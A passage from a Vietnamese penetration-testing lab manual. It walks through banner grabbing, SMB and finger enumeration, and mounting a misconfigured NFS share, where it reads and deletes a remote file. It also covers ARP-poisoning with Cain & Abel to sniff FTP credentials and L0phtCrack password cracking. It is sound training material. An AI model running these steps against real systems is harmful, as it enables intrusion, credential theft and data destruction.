- Bây giờ bạn đang xem biểu ngữ cũng như quét cổng, như được hiển thị trong ảnh chụp màn hình ở trên.
(Ảnh chụp màn hình hiển thị lệnh dmitry -pb 192.168.0.22 và đầu ra của nó)
- Nếu có biểu ngữ, hãy tiếp tục sử dụng công cụ này và khám phá các tùy chọn.
- Bài thực hành này kết thúc tại đây.
Bài tập 8: Tạo tập lệnh Python để lấy biểu ngữ của dịch vụ ssh
Kịch bản
Trong bài thực hành này, bạn sẽ tạo một tập lệnh python để lấy biểu ngữ của dịch vụ secure shell (SSH).
Thời gian thực hành: 10 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn làm người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Mở cửa sổ terminal trên máy Parrot và nhập đoạn mã sau:
(Ảnh chụp màn hình hiển thị đoạn mã Python để lấy biểu ngữ SSH)
- Khi bạn xem lại hình ảnh, hãy xem xét lời giải thích sau:
o Câu lệnh import giúp lấy thư viện socket cần thiết.
o bangrab là một biến lưu trữ nội dung của socket đã tạo.
o Loại socket là socket TCP dựa trên SOCK_STREAM.
o Sau khi socket được tạo, bạn có thể truy cập và thao tác với socket bằng cách sử dụng các lệnh gọi hàm thích hợp.
o Hàm connect được sử dụng để xác định địa chỉ và cổng cho kết nối.
o Câu lệnh recv nhận dữ liệu từ socket. - Quá trình này được sử dụng để trích xuất biểu ngữ của bất kỳ cổng nào, miễn là bạn thay đổi số cổng kết nối.
- Để có một loại công cụ lấy biểu ngữ mạnh mẽ hơn, bạn có thể tham khảo mã sau:
(Ảnh chụp màn hình hiển thị đoạn mã Python nâng cao hơn để lấy biểu ngữ)
- Vui lòng xem phụ lục để biết các ví dụ mã được chọn.
Bài tập 9: Sử dụng Metasploit để phát hiện phiên bản HTTP
Kịch bản
Trong bài thực hành này, bạn sẽ:
- Lấy một khai thác từ Metasploit và xem xét nó.
Thời gian thực hành: 10 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn làm người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Mở cửa sổ terminal trên máy Parrot.
- Mô-đun bạn điều tra là mô-đun được sử dụng để phát hiện phiên bản của http. Xem lại thông tin cốt lõi của Metasploit; nhập cd /usr/share/metasploit-framework/lib/rex/proto/http và nhấn Enter trong cửa sổ terminal.
(Ảnh chụp màn hình hiển thị lệnh cd /usr/share/metasploit-framework/lib/rex/proto/http và đầu ra của nó)
- Nhập ls -lx.
(Ảnh chụp màn hình hiển thị lệnh ls -lx và đầu ra của nó, hiển thị các tệp trong thư mục /usr/share/metasploit-framework/lib/rex/proto/http)
- Tất cả các tệp này chứa nhiều phương thức HTTP, bao gồm các hàm để thiết lập kết nối, yêu cầu GET và POST, và xử lý phản hồi.
- Để mở mô-đun, hãy điều hướng đến Places, chọn File System và điều hướng đến /usr/share/metasploit-framework/modules/auxiliary/scanner/http. Trong thư mục HTTP, cuộn xuống và nhấp chuột phải vào http_version.rb, sau đó nhấp vào Open With Pluma từ menu ngữ cảnh.
(Ảnh chụp màn hình hiển thị tệp http_version.rb được mở trong Pluma)
- Cẩn thận xem lại thông tin. Tiếp theo, hãy khám phá mixin. Sau khi xem xét xong, hãy đóng cửa sổ trình soạn thảo văn bản.
- Điều hướng đến Places; chọn File System và điều hướng đến /usr/share/metasploit-framework/lib/rex/proto/http. Trong thư mục http, nhấp chuột phải vào client.rb, sau đó nhấp vào Open With Pluma từ menu ngữ cảnh.
(Ảnh chụp màn hình hiển thị tệp client.rb được mở trong Pluma)
- Đây là mã cho mixin; có các quy trình bạn sẽ cần để xử lý socket để thực hiện các tác vụ trích xuất dữ liệu từ trang web.
- Một ví dụ về đoạn trích của mã được hiển thị trong ảnh chụp màn hình:
(Ảnh chụp màn hình hiển thị đoạn trích của mã từ client.rb)
- Chìa khóa cho quy trình này nằm trong lớp được xác định:
self.hostname = host
self.port = port.to_i
self.context = context
self.ssl = ssl
self.ssl_version = ssl_version
self.proxies = proxies
self.username = username
self.password = password
- Sau khi bạn đã xem xét tệp, hãy đóng tất cả các cửa sổ đang mở. Như lớp học hiển thị, bạn đã đáp ứng hầu hết các yêu cầu khi hoạt động như một máy khách cho máy chủ web.
- Đây là quá trình bạn nên làm theo khi bạn đang làm việc với tư cách là một người thực hành và chuyên gia bảo mật và kiểm tra xâm nhập. Luôn luôn điều tra mã đang được sử dụng TRƯỚC KHI bạn triển khai nó trên một trang web.
- Bài thực hành này kết thúc tại đây.
Bài tập 10: Liệt kê SMB
Kịch bản
Một người kiểm tra xâm nhập thành thạo nên biết về các công cụ khác nhau được sử dụng để liệt kê Khối Tin nhắn Máy chủ (SMB). Hệ điều hành bảo mật Parrot có các công cụ SMB có thể được sử dụng để làm quen với dữ liệu để liệt kê. Mục tiêu của bài thực hành này là giúp học viên sử dụng các công cụ để liệt kê SMB. Trong bài thực hành này, bạn sẽ:
• Xác định SMB đang chạy
• Quét thông tin SMB
• Liệt kê thông tin từ giao thức SMB
• Thêm thông tin, dựa trên phân tích của bạn, vào cơ sở dữ liệu mục tiêu
Thời lượng thực hành: 5 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Hình ảnh chụp màn hình hiển thị màn hình khóa Parrot) - Theo mặc định, pentester được chọn làm người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Hình ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập) - Nmap có một số công cụ kịch bản mà bạn có thể sử dụng. Cho đến nay, có hơn 200 công cụ. Bài thực hành này liên quan đến một trong số đó cho SBM.
- Mở cửa sổ terminal, nhập nmap –script smb-os-discovery 192.168.0.7, và nhấn Enter.
(Hình ảnh chụp màn hình hiển thị lệnh nmap –script smb-os-discovery 192.168.0.7 và đầu ra của nó) - Trong cửa sổ terminal, nhập nmap -sC 192.168.0.7 và nhấn Enter.
(Hình ảnh chụp màn hình hiển thị lệnh nmap -sC 192.168.0.7 và đầu ra của nó) - Đầu ra của lệnh trong bước 5 hiển thị chi tiết hơn so với lệnh trong bước 4. Quá trình quét có thể mất khoảng 5 đến 10 phút để hoàn thành.
- Thêm tùy chọn “-d” vào lệnh để hiển thị dấu vết gỡ lỗi, như trong ảnh chụp màn hình minh họa đầu ra.
(Hình ảnh chụp màn hình hiển thị lệnh nmap -sC 192.168.0.7 -d và đầu ra của nó)
- Như LỖI hiển thị, nỗ lực đăng nhập không thành công. Kết quả này là phổ biến khi xử lý các hệ thống Windows mới hơn.
- Nếu bạn thêm tùy chọn -oX, thông tin có thể được hiển thị trên GUI cho mục đích tài liệu.
Bài tập 11: Kiểm tra thâm nhập dịch vụ RPC và chia sẻ NFS được cấu hình sai
Kịch bản
Hệ thống tệp mạng (NFS) là một ứng dụng máy khách/máy chủ cho phép bạn xem hoặc chia sẻ tệp và thư mục giữa các hệ thống Linux/Unix. Đó là một cách gắn kết đĩa/thư mục Linux qua mạng. Máy chủ RPC là một chương trình chấp nhận kết nối từ máy khách RPC và cung cấp dịch vụ cho máy khách.
Cấu hình kém của các dịch vụ NFS và RPC có thể cho phép kẻ tấn công:
• Đầu tiên, tìm các dịch vụ NFS và mountd đang chạy trên máy tính bằng cách sử dụng rpc
• Thứ hai, gắn kết các chia sẻ NFS và xem nội dung trong các thư mục được gắn kết
Là một chuyên gia kiểm tra thâm nhập, bạn cần biết cách liệt kê các dịch vụ RPC và gắn kết máy chủ được cấu hình kém.
Thời gian thực hành: 20 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot) - Theo mặc định, pentester được chọn làm người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập) - Trong bài thực hành này, chúng tôi sẽ quét một mạng con để tìm các máy đang hoạt động. Chọn một máy và kiểm tra thâm nhập máy đó để có quyền truy cập vào nó. Để thực hiện quét nhanh, chúng tôi sẽ thực hiện quét ping bằng Nmap. Trong bài thực hành này, chúng tôi đang chọn một mạng nội bộ để kiểm tra thâm nhập. Khởi chạy terminal dòng lệnh, nhập nmap -sP 172.19.19.1-255 và nhấn Enter. Điều này sẽ hiển thị tất cả các máy chủ đang hoạt động trên mạng trong vòng một phút. Trong bài thực hành này, chúng tôi đang chọn 172.19.19.51 (Máy chủ RPC Ubuntu) làm mục tiêu của chúng tôi.
- Nhập nmap -T4 -A 172.19.19.51 trong terminal và nhấn Enter. Điều này sẽ khởi chạy quét Nmap trên máy Máy chủ RPC Ubuntu.
- Nmap mất khoảng 30 giây để hoàn thành quét. Sau khi hoàn thành quét, bạn sẽ thấy rằng các dịch vụ rpc, ftp, nfs và mountd đang chạy trên máy nạn nhân. Từ quét, có thể thấy rằng Hệ thống tệp NFS được gắn kết trên máy từ xa. Trong bài thực hành này, chúng tôi sẽ tập trung vào các dịch vụ RPC, NFS và mountd.
- Bây giờ, chúng tôi sẽ thực hiện liệt kê RPC để liệt kê tất cả các dịch vụ RPC. Nhập rpcinfo -p 172.19.19.51 trong dòng lệnh terminal và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh rpcinfo -p 172.19.19.51 và đầu ra của nó)
- Chúng tôi thấy rằng các dịch vụ nfs và mountd đang hoạt động trên máy từ xa.
- Bây giờ, chúng tôi sẽ đưa ra lệnh showmount để khám phá các chia sẻ NFS được liệt kê trong tệp /etc/exports của máy từ xa. Nhập showmount -e 172.19.19.51 và nhấn Enter. Điều này sẽ hiển thị tất cả các chia sẻ NFS trên máy từ xa như được hiển thị trong ảnh chụp màn hình bên dưới:
(Ảnh chụp màn hình hiển thị lệnh showmount -e 172.19.19.51 và đầu ra của nó)
- Như chúng ta đã thấy trong nhiệm vụ trước, hệ thống tệp /home đã được chia sẻ trên máy từ xa. Chúng tôi sẽ gắn kết hệ thống tệp này trên máy Parrot vào thư mục mnt. Để gắn kết, nhập sudo mount -t nfs 172.19.19.51:/home /mnt -o nolock và nhấn Enter. Nhập toor và nhấn Enter khi được nhắc.
-t chỉ định loại hệ thống tệp (nfs). Chỉ định nolock vô hiệu hóa khóa tệp.
(Ảnh chụp màn hình hiển thị lệnh sudo mount -t nfs 172.19.19.51:/home /mnt -o nolock và đầu ra của nó)
- Bây giờ, chúng tôi đã gắn kết thành công hệ thống tệp vào thư mục /mnt. Để xem nội dung của hệ thống tệp, chúng ta cần thay đổi thư mục hiện tại thành /mnt. Nhập cd /mnt và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh cd /mnt và đầu ra của nó)
- Nhập ls và nhấn Enter để xem các tệp và thư mục có trong thư mục /home, tức là /mnt.
(Ảnh chụp màn hình hiển thị lệnh ls và đầu ra của nó)
- Để chứng minh khái niệm, bây giờ chúng tôi sẽ xem nội dung của tệp secret.txt nằm trong thư mục administrator/Documents. Nhập cat administrator/Documents/secret.txt và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh cat administrator/Documents/secret.txt và đầu ra của nó)
- Khi nhập lệnh trong nhiệm vụ trước, lệnh cat hiển thị thành công nội dung tệp trong secret.txt, có nghĩa là chúng tôi đã gắn kết thành công hệ thống tệp từ xa và truy cập nội dung trong đó.
- Bây giờ, chúng tôi sẽ xem liệu chúng tôi có thể giả mạo/xóa các tệp trong hệ thống tệp từ xa hay không. Nhập rm administrator/Documents/secret.txt và nhấn Enter. Nhập y và nhấn Enter để xác nhận xóa. Để xác nhận rằng tệp đã bị xóa thành công, nhập cat administrator/Documents/secret.txt và nhấn Enter. Terminal hiển thị lỗi cho biết không tìm thấy tệp hoặc thư mục như vậy. Điều này chứng tỏ rằng chúng tôi có quyền truy cập không hạn chế vào hệ thống tệp.
(Ảnh chụp màn hình hiển thị lệnh rm administrator/Documents/secret.txt, xác nhận xóa và thông báo lỗi khi cố gắng truy cập tệp đã xóa)
- Lý do chúng tôi có thể truy cập vào các chia sẻ từ xa là:
a. Toàn bộ mạng con đã được chỉ định trong tệp exports, cho phép mọi người trong mạng cụ thể đó truy cập vào tệp.
Chúng tôi có thể thao tác các tệp trong hệ thống tệp vì:
b. Tùy chọn no_root_squash đã được bật, cho phép bất kỳ người dùng nào thực hiện các hành động đọc, ghi và thực thi trên hệ thống tệp được gắn kết.
Đây chỉ là bằng chứng về khái niệm để hiển thị lý do gây ra lỗ hổng và bạn không cần phải đăng nhập vào máy để xem tệp được đề cập ở trên.
(Ảnh chụp màn hình hiển thị tệp /etc/exports với tùy chọn no_root_squash được bật)
Trong bài thực hành này, bạn đã tìm hiểu cách liệt kê các dịch vụ RPC và gắn kết các thư mục NFS được chia sẻ.
Bài tập 12: Liệt kê người dùng đã đăng nhập bằng giao thức Finger
Kịch bản
Dịch vụ Finger hiển thị thông tin như người dùng hiện đang đăng nhập (nếu có), địa chỉ email, tên đầy đủ, v.v.
Trong quá trình kiểm tra thâm nhập, nhiệm vụ ban đầu của người kiểm tra thâm nhập là liệt kê thông tin người dùng như tên người dùng, địa chỉ email, v.v.
Trong bài thực hành này, bạn sẽ tìm hiểu cách liệt kê thông tin người dùng bằng máy khách Finger.
Thời gian thực hành: 15 phút
- Nhấp vào @lab.VirtualMachine(RedHatEnterpriseLinux-SubnetC(ECSAv10)).Chọn Liên kết. Nhập Admin vào trường Tên người dùng, password vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình đăng nhập cho máy ảo Red Hat Enterprise Linux)
- Sau khi đăng nhập thành công, màn hình nền Red Hat Enterprise Linux CentOS xuất hiện như được hiển thị trong ảnh chụp màn hình. Chúng tôi đang đăng nhập vào máy vì Finger chỉ liệt kê người dùng đã đăng nhập.
(Ảnh chụp màn hình hiển thị màn hình nền Red Hat Enterprise Linux CentOS)
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn làm người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Trong bài thực hành này, chúng tôi sẽ nhắm mục tiêu địa chỉ IP 192.168.0.50 (máy Red Hat Enterprise Linux) đã được khám phá trong quá trình quét ping trong các bài thực hành trước đó. Giao thức Finger sử dụng cổng 79, vì vậy, khi chọn CentOS làm máy mục tiêu của chúng tôi, chúng ta hãy thực hiện quét Nmap trên cổng 79. Khởi chạy terminal dòng lệnh, nhập nmap -p 79 192.168.0.50 và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh nmap -p 79 192.168.0.50 và đầu ra của nó)
- Bạn sẽ thấy rằng cổng 79 đang mở trong kết quả Nmap, có nghĩa là dịch vụ finger đang chạy trên máy mục tiêu.
- Bây giờ, chúng tôi sẽ liệt kê người dùng đã đăng nhập trên máy từ xa bằng máy khách Finger. Giả sử chúng tôi không biết tên người dùng đã đăng nhập, nhập finger @192.168.0.50, và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh finger @192.168.0.50 và đầu ra của nó)
- Máy khách Finger trả về thông tin người dùng đã đăng nhập như tên đăng nhập, tên người dùng và thời gian đăng nhập như được hiển thị trong ảnh chụp màn hình bên dưới.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh finger @192.168.0.50 với thông tin người dùng đã đăng nhập)
- Vì chúng tôi đã tìm thấy tên người dùng, chúng tôi sẽ sử dụng nó để trích xuất thêm thông tin như tên của người dùng, thư mục chính, tên đăng nhập và shell. Nhập finger Admin@192.168.0.50 và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh finger Admin@192.168.0.50 và đầu ra của nó với thông tin người dùng chi tiết)
- Ngoài ra, chúng ta có thể liệt kê tên người dùng bằng cách sử dụng dịch vụ Telnet bằng cách đưa ra lệnh sau trong dòng lệnh terminal: telnet 192.168.0.50 79
- Nhập Admin và nhấn Enter. Điều này hiển thị thông tin người dùng được liệt kê như được hiển thị trong ảnh chụp màn hình bên dưới.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh telnet 192.168.0.50 79 với thông tin người dùng được liệt kê)
- Để bảo vệ máy của bạn không trả về thông tin người dùng đã đăng nhập, bạn nên vô hiệu hóa dịch vụ finger trên máy bằng cách chỉnh sửa tệp văn bản finger nằm trong /etc/xinetd.d.
Đây chỉ là bằng chứng về khái niệm để hiển thị lý do gây ra lỗ hổng và bạn không cần phải đăng nhập vào máy để xem tệp được đề cập ở trên.
Tệp văn bản finger nằm trong /etc/xinetd.d.
(Ảnh chụp màn hình hiển thị nội dung của tệp finger trong /etc/xinetd.d.)
Trong bài thực hành này, bạn đã học được cách liệt kê thông tin người dùng bằng máy khách finger.
Bài tập 13: Thực hiện tấn công Man-in-the-Middle bằng Cain & Abel
Kịch bản
Không giống như việc chụp lưu lượng mạng trong mạng dựa trên hub, không thể chụp lưu lượng trong mạng dựa trên switch. Vì hầu hết các mạng ngày nay được triển khai trên mạng dựa trên switch, nên không thể chụp lưu lượng giữa hai máy chủ.
Tại thời điểm này, kẻ tấn công triển khai các kỹ thuật như ngộ độc arp/MITM để chụp lưu lượng văn bản rõ ràng giữa hai máy trên mạng. MITM là một hình thức nghe lén chủ động trong đó kẻ tấn công thiết lập các kết nối độc lập với nạn nhân và chuyển tiếp tin nhắn giữa họ, khiến họ tin rằng họ đang nói chuyện trực tiếp với nhau qua một kết nối riêng tư, trong khi thực tế toàn bộ cuộc trò chuyện được kiểm soát bởi kẻ tấn công. Tấn công MITM có nhiều biến thể và có thể được thực hiện trên mạng LAN chuyển mạch. Là một người kiểm tra thâm nhập, bạn cần biết cách chụp lưu lượng văn bản rõ ràng trong mạng dựa trên switch.
Trong bài thực hành này, bạn sẽ học cách:
- Thực hiện ARP Poisoning.
- Khởi chạy tấn công Man-in-the-Middle.
- Nghe lén mạng để lấy mật khẩu.
Thời lượng thực hành: 25 phút
- Nhấp vào liên kết Windows Server 2019 và sau đó nhấp vào Ctrl+Alt+Delete
(Ảnh chụp màn hình hiển thị màn hình Ctrl+Alt+Delete trên Windows Server 2019)
- Nhấp vào Pa w0rd và nhấn Enter để đăng nhập.
(Ảnh chụp màn hình hiển thị màn hình đăng nhập trên Windows Server 2019)
- Khởi chạy ứng dụng Cain & Abel bằng cách nhấp đúp vào biểu tượng lối tắt của Cain trên màn hình nền.
(Ảnh chụp màn hình hiển thị màn hình nền Windows Server 2019 với biểu tượng lối tắt Cain được tô sáng)
- Cửa sổ chính của Cain & Abel xuất hiện như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị cửa sổ chính của Cain & Abel)
- Để cấu hình card Ethernet, nhấp vào Configure từ thanh menu.
(Ảnh chụp màn hình hiển thị thanh menu của Cain & Abel với tùy chọn Configure được tô sáng)
- Cửa sổ Configuration Dialog xuất hiện. Cửa sổ bao gồm một số tab. Nhấp vào tab Sniffer để chọn bộ điều hợp nghe lén. Chọn Bộ điều hợp được liên kết với địa chỉ IP 172.19.19.20, nhấp vào Apply và OK.
(Ảnh chụp màn hình hiển thị cửa sổ Configuration Dialog của Cain & Abel với tab Sniffer được chọn)
- Nhấp vào Start/StopSniffer (biểu tượng thứ hai từ bên trái) trên thanh công cụ để bắt đầu nghe lén.
Nếu cửa sổ bật lên Cain Warning xuất hiện, nhấp vào OK.
(Ảnh chụp màn hình hiển thị thanh công cụ của Cain & Abel với nút Start/StopSniffer được tô sáng)
- Bây giờ nhấp vào tab Sniffer và sau đó, nhấp vào biểu tượng Cộng (+) (hoặc) nhấp chuột phải vào cửa sổ, và chọn Scan MAC Addresses để quét mạng để tìm máy chủ.
(Ảnh chụp màn hình hiển thị tab Sniffer của Cain & Abel và tùy chọn Scan MAC Addresses được tô sáng)
- Cửa sổ MAC Address Scanner xuất hiện. Nhấp vào nút radio Range, nhập phạm vi (172.19.19.2 – 172.19.19.20), chọn tùy chọn All Tests và nhấp vào OK. Cain & Abel bắt đầu quét các địa chỉ MAC và liệt kê tất cả các địa chỉ được tìm thấy.
(Ảnh chụp màn hình hiển thị cửa sổ MAC Address Scanner của Cain & Abel)
- Sau khi quét hoàn tất, danh sách các địa chỉ MAC được phát hiện sẽ được hiển thị như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị tab Sniffer của Cain & Abel với danh sách địa chỉ MAC được phát hiện)
- Nhấp vào tab APR ở cuối cửa sổ.
(Ảnh chụp màn hình hiển thị tab APR của Cain & Abel được chọn)
- Nhấp vào bất kỳ đâu trên phần trên cùng bên phải để kích hoạt biểu tượng +.
(Ảnh chụp màn hình hiển thị tab APR của Cain & Abel với biểu tượng + được tô sáng)
- Nhấp vào biểu tượng Cộng (+); cửa sổ New ARP Poison Routing xuất hiện, từ đó chúng ta có thể thêm IP để nghe lưu lượng.
(Ảnh chụp màn hình hiển thị cửa sổ New ARP Poison Routing của Cain & Abel)
- Để theo dõi lưu lượng giữa hai máy tính, chọn 172.19.19.9 (Máy chủ FTP) và 172.19.19.15 (Bộ phận Quảng cáo). Nhấp vào OK. Trong bài thực hành này, chúng tôi sẽ đăng nhập vào máy chủ FTP từ máy Bộ phận Quảng cáo.
(Ảnh chụp màn hình hiển thị cửa sổ New ARP Poison Routing của Cain & Abel với các địa chỉ IP đã chọn)
- Chọn địa chỉ IP đã thêm trong Cấu hình/Gói tin được định tuyến và nhấp vào biểu tượng Start/Stop APR (biểu tượng thứ ba từ bên trái). Cain bắt đầu ngộ độc ARP giữa các máy này.
(Ảnh chụp màn hình hiển thị tab APR của Cain & Abel với các địa chỉ IP đã chọn và nút Start/Stop APR được tô sáng)
- Đăng nhập vào Bộ phận Quảng cáo và đăng nhập với tư cách Quản trị viên. Để làm điều này, chọn máy Bộ phận Quảng cáo từ ngăn Resources. Đi tới Commands và nhấp vào Ctrl+Alt+Delete.
(Ảnh chụp màn hình hiển thị các tùy chọn Menu ngữ cảnh cho máy Bộ phận Quảng cáo trong Cain & Abel)
- Chọn người dùng Quản trị viên trong cửa sổ đăng nhập.
(Ảnh chụp màn hình hiển thị cửa sổ đăng nhập trên máy Bộ phận Quảng cáo)
- Trong hộp đăng nhập, nhập mật khẩu Pa w0rd và nhấn Enter.
(Ảnh chụp màn hình hiển thị cửa sổ đăng nhập trên máy Bộ phận Quảng cáo với mật khẩu được nhập)
- Nhấp vào nút Close ở góc trên cùng bên phải của cửa sổ Server Manager.
(Ảnh chụp màn hình hiển thị cửa sổ Server Manager trên máy Bộ phận Quảng cáo với nút Close được tô sáng)
- Bây giờ khởi chạy một dòng lệnh trong máy, nhập ftp 172.19.19.9 (địa chỉ IP của máy Máy chủ FTP) và nhấn Enter. Khi được nhắc nhập Tên người dùng, nhập “Martin” và nhấn Enter. Khi được nhắc nhập mật khẩu, nhập “mystery” và nhấn Enter.
(Ảnh chụp màn hình hiển thị cửa sổ dòng lệnh trên máy Bộ phận Quảng cáo với lệnh ftp 172.19.19.9 và đầu ra của nó)
- Chuyển đổi máy Windows Server 2019. Bạn sẽ thấy rằng Cain & Abel đã chụp được một số gói tin, có thể thấy trong trường Packets.
(Ảnh chụp màn hình hiển thị cửa sổ Cain & Abel với tab Sniffer được chọn và các gói tin được chụp)
- Nhấp vào tab Passwords trong GUI Cain & Abel. Chọn FTP từ ngăn bên trái trong phần Passwords. Bạn sẽ thấy các thông tin đăng nhập được chụp bởi Cain & Abel như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị tab Passwords của Cain & Abel với các thông tin đăng nhập FTP được chụp)
- Bằng cách này, bạn đã chụp thành công thông tin đăng nhập người dùng truyền trong văn bản rõ ràng. Trong bài thực hành này, bạn đã học được cách chụp thông tin đăng nhập người dùng trong mạng dựa trên switch.
Bài tập 14: Kiểm tra máy có mật khẩu yếu bằng L0phtCrack
Kịch bản
Vì bảo mật và tuân thủ là ưu tiên hàng đầu của hầu hết các tổ chức, các cuộc tấn công vào máy tính của công ty hoặc tổ chức có nhiều hình thức khác nhau, chẳng hạn như giả mạo, smurfing và các loại tấn công từ chối dịch vụ (DoS) khác. Các cuộc tấn công này được thiết kế để gây hại hoặc làm gián đoạn việc sử dụng hệ thống vận hành của bạn.
Bẻ khóa mật khẩu là một thuật ngữ được sử dụng để mô tả việc xâm nhập vào mạng, hệ thống hoặc tài nguyên bằng hoặc không sử dụng công cụ để mở khóa tài nguyên đã được bảo mật bằng mật khẩu. Trong bài thực hành này, chúng ta sẽ xem xét bẻ khóa mật khẩu là gì, tại sao kẻ tấn công lại làm điều đó, làm thế nào chúng đạt được mục tiêu của mình và bạn có thể làm gì để bảo vệ chính mình. Thông qua việc kiểm tra một số kịch bản, trong bài thực hành này, chúng tôi mô tả một số kỹ thuật mà chúng triển khai và các công cụ hỗ trợ chúng trong các cuộc tấn công của chúng và cách bẻ khóa mật khẩu hoạt động cả bên trong và bên ngoài để vi phạm cơ sở hạ tầng của công ty.
Để trở thành Người kiểm tra thâm nhập chuyên gia hoặc Quản trị viên bảo mật, bạn phải hiểu cách bẻ khóa mật khẩu quản trị viên. Trong bài thực hành này, chúng tôi bẻ khóa tài khoản người dùng hệ thống bằng L0phtCrack.
Trong bài thực hành này, với tư cách là kiểm toán viên bảo mật, bạn sẽ chạy công cụ L0phtCrack bằng cách cung cấp thông tin đăng nhập người dùng quản trị viên của máy từ xa. Mật khẩu của tài khoản người dùng bị bẻ khóa trong thời gian ngắn được coi là yếu và bạn cần thực hiện các biện pháp nhất định để làm cho chúng mạnh hơn. Mục tiêu của bài thực hành này là giúp sinh viên học cách:
• Trích xuất mật khẩu Quản trị viên bằng L0phtCrack
Thời gian thực hành: 20 phút
- Nhấp vào Windows Server 2019, nhấp vào Ctrl+Alt+Delete
(Ảnh chụp màn hình hiển thị màn hình Ctrl+Alt+Delete trên Windows Server 2019)
- Trong trường mật khẩu, nhấp vào Pa w0rd và nhấn Enter. Bạn có thể sử dụng tùy chọn Nhập Mật khẩu từ menu Lệnh để nhập mật khẩu.
(Ảnh chụp màn hình hiển thị màn hình đăng nhập trên Windows Server 2019)
- Trong bài thực hành này, chúng tôi sẽ kiểm tra các tài khoản người dùng trên máy để kiểm tra mật khẩu yếu bằng L0phtCrack. Để cài đặt L0phtCrack, hãy điều hướng đến E:\CPENT Module 06 Network Penetration Testing Methodology-Internal\L0phtCrack và nhấp đúp vào Ic7setup_v7.1.16_Win64.exe. Nếu cửa sổ bật lên Open File – Security Warning xuất hiện; nhấp vào Run. Thực hiện theo các bước cài đặt hướng dẫn bằng trình hướng dẫn để cài đặt L0phtCrack.
Khi cài đặt ứng dụng, cửa sổ bật lên Program Compatibility Assistant xuất hiện, nhấp vào Close.
(Ảnh chụp màn hình hiển thị cửa sổ bật lên Program Compatibility Assistant)
- Trên trang Completing L0phtCrack 7 (Win64) Setup, đảm bảo chọn Run L0phtCrack 7 (Win64) và nhấp vào Finish để khởi chạy công cụ L0phtCrack.
(Ảnh chụp màn hình hiển thị trang Completing L0phtCrack 7 (Win64) Setup)
- Cửa sổ L0phtCrack 7 – Trial xuất hiện. Nhấp vào nút Proceed With Trial.
(Ảnh chụp màn hình hiển thị cửa sổ L0phtCrack 7 – Trial)
- Cửa sổ bật lên L0phtCrack 7 xuất hiện; chọn tùy chọn Password Auditing Wizard.
(Ảnh chụp màn hình hiển thị cửa sổ L0phtCrack 7 với tùy chọn Password Auditing Wizard được chọn)
- Trên trang Giới thiệu của Trình hướng dẫn kiểm tra mật khẩu LC7, nhấp vào Next.
(Ảnh chụp màn hình hiển thị trang Giới thiệu của Trình hướng dẫn kiểm tra mật khẩu LC7)
- Trong cửa sổ Chọn loại hệ thống mục tiêu, chọn nút radio Windows: và nhấp vào Next.
(Ảnh chụp màn hình hiển thị cửa sổ Chọn loại hệ thống mục tiêu của Trình hướng dẫn kiểm tra mật khẩu LC7 với tùy chọn Windows được chọn)
- Trong cửa sổ Windows Import, chọn nút radio A remote machine và nhấp vào Next.
(Ảnh chụp màn hình hiển thị cửa sổ Windows Import của Trình hướng dẫn kiểm tra mật khẩu LC7 với tùy chọn A remote machine được chọn)
- Trong trường Máy chủ của cửa sổ Windows Import from Remote Machine (SMB), hãy cung cấp địa chỉ IP của máy Bộ phận Quảng cáo và nhấp vào Next. Ở đây, địa chỉ IP của Bộ phận Quảng cáo là 172.19.19.15.
(Ảnh chụp màn hình hiển thị cửa sổ Windows Import from Remote Machine (SMB) của Trình hướng dẫn kiểm tra mật khẩu LC7 với địa chỉ IP được nhập)
- Trong cửa sổ Chọn loại kiểm tra, chọn tùy chọn Quick Password Audit và nhấp vào Next.
(Ảnh chụp màn hình hiển thị cửa sổ Chọn loại kiểm tra của Trình hướng dẫn kiểm tra mật khẩu LC7 với tùy chọn Quick Password Audit được chọn)
- Trong cửa sổ Tùy chọn báo cáo, giữ nguyên các tùy chọn được đặt theo mặc định và nhấp vào Next.
(Ảnh chụp màn hình hiển thị cửa sổ Tùy chọn báo cáo của Trình hướng dẫn kiểm tra mật khẩu LC7)
- Trong cửa sổ Lập lịch công việc, chọn Run this job immediately và nhấp vào Next.
(Ảnh chụp màn hình hiển thị cửa sổ Lập lịch công việc của Trình hướng dẫn kiểm tra mật khẩu LC7 với tùy chọn Run this job immediately được chọn)
- Trong cửa sổ Tóm tắt, đọc tóm tắt và nhấp vào Finish.
(Ảnh chụp màn hình hiển thị cửa sổ Tóm tắt của Trình hướng dẫn kiểm tra mật khẩu LC7)
